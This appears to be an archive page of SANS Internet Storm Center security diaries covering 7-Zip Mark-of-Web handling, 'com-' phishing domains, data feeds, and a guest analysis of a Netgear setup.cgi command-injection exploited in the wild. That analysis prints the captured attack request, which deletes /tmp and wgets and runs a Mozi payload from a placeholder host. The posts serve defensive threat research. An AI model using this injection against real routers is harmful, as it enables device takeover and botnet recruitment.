Category Archives: Security

Reminder: 7-Zip & MoW, (Mon, Feb 10th)

This post was originally published on this site

CVE-2025-0411 is a vulnerability in 7-zip that has been reported to be exploited in recent attacks. The problem is that Mark-of-Web (MoW) isn't propagated correctly: when extracted, a file inside a ZIP file inside another ZIP file will not have the MoW propagated from the outer ZIP file.

That's good to know, but what I personally consider more important to know, is that MoW isn't propagated at all by 7-zip in its default configuration.

I wrote about this a couple years ago in diary entry "7-Zip & MoW", when this new feature was introduced.

You have to enable MoW propagation in the GUI or via the registry. And that is still the case with the latest versions of 7-zip.

Didier Stevens
Senior handler
blog.DidierStevens.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Phishing via "com-" prefix domains, (Wed, Feb 5th)

This post was originally published on this site

Phishing is always a "whack the mole" like game. Attackers come up with new ways to fool victims. Security tools are often a step behind. Messages claiming to collect unpaid tolls are one current common theme among phishing (smishing?) messages. I just received another one today:

Screenshot of a smishing message claiming to alert the recipient of unpaid tolls

The FBI's Internet Crime Complaint Center warned of these types of messages last April [1]. The message was pretty easily identified as fraud by the "From" number, a phone number in the Phillipines. But I found the domain clever.

Florida's toll system is commonly referred to as "Sunpass", and the legitimate website is sunpass.com. The scammer attempted to emulate this name by using a domain that starts with "com-". An unsuspecting user may consider this a valid sunpass.com address.

So I looked at our "newly registered domains" data to see how many "com-*" domains we have, and this prefix looks indeed popular, usually followed by a few random characters:

Here are a few example:

com-typopn.top
com-tyuiop.top
com-uilqsc.top
com-vfgbnj.top
com-wsxder.top
com-xyuoph.top
com-ywbl.top
com-yzgv.top
com-zfrulb.top pish

Looking at the Top 10 TLDs used for these domains, the usual "dirty" gTLDs like "top" and "XYZ" stick out, but "com", "info" and "us" are also included:

TLD Count
top 16,606
com 12,293
xyz 3005
info 2731
cfd 2413
vip 2217
sbs 1461
xin 1453
us 1245
online 1140

The registrations vary over time, but as of November last year, the registrations have increased somewhat.

Overall, it is likely worthwhile to add a query to your DNS logs to review lookups for these domains. I found 10% of the domains from the last few days in Phishtank. Many of the remaining were confirmed malicious as well. Luckily, many appear to have already been taken down. However, I have not spotted a valid side among the last 1,000 registered domains.

[1] https://www.ic3.gov/PSA/2024/PSA240412

 


Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Some updates to our data feeds, (Tue, Feb 4th)

This post was originally published on this site

We have offered several different data feeds via our API or other means. However, we are often not very good at documenting what these feeds are all about. Currently, I am in the process of fixing the documentation around these data feeds.

These data feeds are used to augment our data, but may also be helpful to add "color to your logs", which is how I see most of this data being used. Many data feeds do not contain lists of IPs that should be classified as malicious. For example, we attempt to collect IP addresses of public NTP servers. These are usually part of "pool.ntp.org". We are collecting them because they have triggered false positives. Knowing that an IP address is associated with a public NTP server in case you see odd traffic from or to port 123 is helpful.

Just last week, I came across another resource that I found helpful: rosti.bin.re extracts IoCs from various sources like news articles and blog posts. I added this data to our "IP Info" page to provide this useful context in case you are searching for an IP.

The data we produce is published under a "Creative Commons" license. You may use the data for free if you acknowledge the source and do not resell the data. We do not offer commercial licenses, but if you ask nicely and do not play stupid vendor tricks, we will sometimes allow commercial use. Using the data to help you secure your network is always okay, even if the network is commercial. All data is provided "as is" and we are not responsible if you break your network, lose your job, or start a nuclear war by replacing your dead man switch with our API.

So why do we not make these lists simple "blocklists" for your firewall? In my opinion, most of these lists are stupid, and ours would not be any better. I am not able to tell you what IPs you should block. Many of these IPs exploit well-known vulnerabilities. Spend your time fixing the vulnerability. We will never have a list of all IPs exploiting a particular vulnerability, and the list will never be free of false positives. Consume the data responsibly. We are not going to help you waste time or money. If you need help with that, please contact your enterprise security vendor.

We do, however, always like your data :). The best way to say "Thank You" is to run a honeypot and feed us data. We also appreciate feedback and suggestions for other data sources. Please use our contact page to provide feedback. We would particularly like to hear how you use our data.

Initial data feed documentation

Creative Commons License

Documentation for our API

Example "IP Info" Page (note: you may just enter an IPv4 address into the search box at the top of the page)

Screen shot of Internet Storm Center IP Info page for 198.199.82.43
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

PCAPs or It Didn?t Happen: Exposing an Old Netgear Vulnerability Still Active in 2025 [Guest Diary], (Thu, Jan 30th)

This post was originally published on this site

[This is a Guest Diary by David Watson, an ISC intern as part of the SANS.edu BACS program]

One thing I’ve learned about cybersecurity, particularly during my time here at the Internet Storm Center is this: If you don’t capture detailed network data (like PCAPs), you can easily miss the full picture of an attack, even with the most aggressive logging practices.
 
One of the attack observations I submitted on January 12th detailed an older vulnerability that uses HTTP GET requests, attempting to perform unauthenticated OS command injections on some legacy Netgear devices, targeting the ‘setup.cgi’ script. I was curious as to which Netgear devices might be involved, and some research led me to a few publications on exploit-db.com, which identified specifically the DGN1000 with firmware versions before 1.1.0.48, and the DGN2200v1 (all firmware versions) modem/router models.[2][3] Both of these models are shown to be “end of service” on the Netgear website. [4][5] There was no CVE mentioned, but a few days later I found out from another post on the 15th of January here at the Internet Storm Center, written by Dr. Yee Ching Tok, Ph.D., ISC Handler:

“This vulnerability was only formally registered in the CVE database in 2024 although it was first disclosed in May 2013, and the corresponding CVE entry was published recently on January 10, 2025.” [6]

CVE-2024-12847 has a CVSS score of 9.8 as shown on NIST.gov. [7] This post will illustrate how I found this in my logs, why it matters, and how packet captures and Zeek logs proved essential.

An Older Vulnerability Resurfaces

Netgear’s DGN1000 and DGN2200v1 devices are end-of-life (EOL) devices. The bug sits in a script called ‘setup.cgi’, (cgi = Common Gateway Interface) which is meant for administrative management of the router. Attackers discovered that by passing certain parameters, one can execute arbitrary OS commands on the router’s underlying Linux operating system as root, without any authentication checks. Over the last several months my web logs showed 257 suspicious HTTP GET requests from 16 unique IP addresses to ‘/setup.cgi’.

Looking into my Zeek logs to correlate this activity revealed an interesting payload, showing two examples of the command injection attempts here:

Breaking this down, we have:
 

  • GET /setup.cgi?next_file=netgear.cfg – Targeting the setup.cgi script.
  • &todo=syscmd – Calling the syscmd function.
  • &cmd=rm+-rf+/tmp/*;wget+hxxp[://]<ip_address:port>/Mozi[.]m+-O+/tmp/netgear;sh+netgear – OS command injection.
  • &curpath=/ – Setting “current path” to root.
  • &currentsetting.htm=1 – unclear exactly what this part does.

The command injection attempt aims to:

  • rm -rf /tmp/*; – Remove the contents of the /tmp directory.
  • wget hxxp[://]<ip_address:port>/Mozi[.]m -O /tmp/netgear; – Retrieve malicious script (Mozi botnet related? [14]) from remote server, save it in /tmp directory and name it “netgear”.
  • sh netgear – Execute malicious script on target device.

Reverse-Engineering setup.cgi

Curiosity drove me to download a vulnerable version of the DGN1000 firmware, specifically version 1.1.00.24, still available right off the Netgear website! [8] I found the setup.cgi file, located in the <source>/target/sbin directory. Running the ‘file’ command showed:

setup.cgi: ELF 32-bit MSB executable, MIPS, MIPS32 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped

Using my relatively new reverse engineering “ninja” skills gained from several CTFs I have participated in over the last few years (and various websites with C documentation), I decided to attempt a disassembly with radare2, [10] as it allows me to look inside this compiled binary and see how it works.

I am interested in the syscmd function, so I ran “iz~syscmd”, which gave me a string reference to syscmd and and a pointer to its location. Running “pdf” (print disassembly of function) after navigating to that address within the binary reveals the function associated with syscmd. Here is what that looks like:

Right off the bat, I can see some standard C library calls like putenv, printf, snprintf, chdir, puts, fflush, popen, fread, fwrite, and pclose. [9] “find_val” might be a custom or proprietary function specific to the Netgear firmware, but I did not find any specific reference pointing to this as of now. Given the context of this disassembly, we will assume that find_val has something to do with retrieving user-supplied parameters. Based on the sequence of events here, this is what I can conclude from the syscmd function:

  • putenv, puts, and printf have to do with setting up the environment, status messages and/or error reporting and/or debugging.[9]
  • find_val most likely retrieves user-supplied parameters.
  • snprintf formats and stores characters into the buffer [9], likely from find_val.
  • chdir possibly relates to the curpath=/ in the HTTP request.
  • fflush writes the contents of the buffer to the output stream. [9]
  • popen spawns a shell instance and executes the command. [11]
  • fread() and fwrite() capture the output and send it somewhere (log file and/or back to the user if necessary)[9]

Based on what we can see how the syscmd function is laid out, there is absolutely zero input sanitization, and, looking at the entire setup.cgi script there is no mention of any authentication checks before being able to run these commands.

As far as the netgear.cfg file goes, it is not entirely clear why there is a “next_file = netgear.cfg” parameter before the “&todo=syscmd…etc” begins. I did not have access to the netgear.cfg file as it was a broken hard link pointing to the /tmp directory which was empty. I did find the “currentsetting.htm” file in source/target/www.eng, which, when printed, shows basic information about the device:

  • Firmware=V1.1.0.24NA
  • RegionTag=DGN1000_NA
  • Region=US
  • Model=DGN1000
  • InternetConnectionStatus=Up
  • ParentalControlSupported=1

I also found something else interesting here. A file called syscmd.htm which has several interesting JavaScript function in it relating to our exploit.

Essentially this (combined with the rest of the script, not included here) looks like part of the local front-end of the router’s web page to facilitate running the user-initiated commands.

This is interesting because there is at least some of the input validation/sanitization (included in some of the REGEX) we were looking for in the setup.cgi script itself! But this is only really enforced on the client/local side. There is nothing stopping an attacker from using this script to craft their own custom HTTP requests and sending them directly to the setup.cgi script in the provided format:

url: “/setup.cgi?todo=syscmd&cmd=<command_injection>&curpath=/”

The only remaining parts to the full URL we mentioned are the “next_file=netgear.cfg” and “currentsetting.htm=1”. It is possible that these parameters need to be added to prevent the failure of the request/destination device throwing back errors, or perhaps one or both values have to do with the authentication bypass, as we did not see any checks for authentication in the setup.cgi script itself. It is also possible that the attackers are just re-using the proof of concept that was referenced on the exploit-db site,[2][3] showing the exact format of the exploit, and not personally crafting the request themselves, save for the remote server IP and the malicious files in question, used to add the router to a botnet and/or hijack CPU resources to mine cryptocurrency, as we have also seen in other attempts on my honeypot.

Conclusion

The fact that we are still seeing what is now CVE-2024-12847 actively being exploited in the wild as much as it is isn’t all that surprising. Many people choose to keep their older hardware for as long as possible because, perhaps they cannot afford to replace it, and/or they do not realize the importance of patching regularly or upgrading when needed. Personally, I know VERY few people who check to see if their router needs updated firmware at least once a month. One of the potential benefits of using equipment provided by the Internet Service Provider(s) is they will often push these firmware updates to customer equipment, but that might not always be guaranteed, so it is worth double checking. And if the customer purchases their own equipment, it is their responsibility to keep it patched.
 
This graphic shows how many of these URLs the Internet Storm Center has seen over the past year: [13]

What do we glean from this? Outdated systems remain vulnerable long after their official support has ended. Despite being labeled as “end of service”, devices like the Netgear DGN1000 and DGN2200v1 (and probably many more Internet of Things (IoT) devices) continue to present significant security risks that can and will be exploited if appropriate measures are not taken.

My ultimate point in writing this is about the lessons I learned during this internship, in comprehensive network monitoring and data capture. Without the combination of detailed logging combined with things like packet captures and Zeek logs, these things can sometimes slip under the radar, leaving networks exposed. The ability to correlate events across different logs, as shown with Zeek in this case, was crucial in identifying and understanding the scope of the attack and understanding how to remediate and patch vulnerabilities.

I read an article earlier today that gave me a chuckle, titled “I paid $250,000 to learn forensics… and still don’t know forensics… [12]. Looking past the forensics title (and the humor), I think this applies to all of cybersecurity in general. Threats are constantly evolving, making this a field that demands continuous learning and adaptation. As soon as we become complacent, we risk failing to protect and defend our networks effectively. There is no definitive endpoint where we can say we “fully know” network security, threat hunting, incident response, etc. It is a lifelong journey, and one which I am extremely excited to be on. I will close this out with a phrase that has always stuck in my mind ever since my time in the Marines, and feel it is very applicable here. “Complacency kills” (and leaves networks vulnerable). One more thing, someone go buy Grandma a new router!

[1] https://www.sans.org/cyber-security-courses/network-monitoring-threat-detection/
[2] https://www.exploit-db.com/exploits/25978
[3] https://www.exploit-db.com/exploits/43055
[4] https://www.netgear.com/support/product/dgn2200v1/
[5] https://www.netgear.com/support/product/dgn1000/
[6] https://isc.sans.edu/diary/The+Curious+Case+of+a+12YearOld+Netgear+Router+Vulnerability/31592
[7] https://nvd.nist.gov/vuln/detail/CVE-2024-12847
[8] https://kb.netgear.com/2649/NETGEAR-Open-Source-Code-for-Programmers-GPL
[9] https://www.ibm.com/docs/en/i/7.5?topic=extensions-standard-c-library-functions-table-by-name
[10] https://github.com/radareorg/radare2
[11] https://c-for-dummies.com/blog/?p=1418
[12] https://brettshavers.com/brett-s-blog/entry/i-paid-100-000-to-learn-forensics-and-still-dont-know-forensics
[13] https://isc.sans.edu/weblogs/urlhistory.html?url=L3NldHVwLmNnaQ==
[14] https://thehackernews.com/2024/11/androxgh0st-malware-integrates-mozi.html
[15] https://www.sans.edu/cyber-security-programs/bachelors-degree/

———–
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

From PowerShell to a Python Obfuscation Race!, (Wed, Jan 29th)

This post was originally published on this site

Attackers like to mix multiple technologies to improve the deployment of their malicious code. I spotted a small script that drops a Python malware. The file was sent on VirusTotal and got a score of 2/60![1] (SHA256:96bb0777a8e9616bc9ca22ca207cf434a947a3e4286c051ed98ddd39147b3c4f). The script starts by downloading and opening a fake Garmin document through Powershell:

Fileless Python InfoStealer Targeting Exodus, (Tue, Jan 28th)

This post was originally published on this site

Exodus is a well-known crypto wallet software[1] and, when you are popular, there are chances that attackers will target you! I already wrote a diary related to this application[2]. Yesterday, I found a new one that behaves differently. My previous diary described a Python script that will patch the original Exodus software. Today, it’s a real “info stealer”.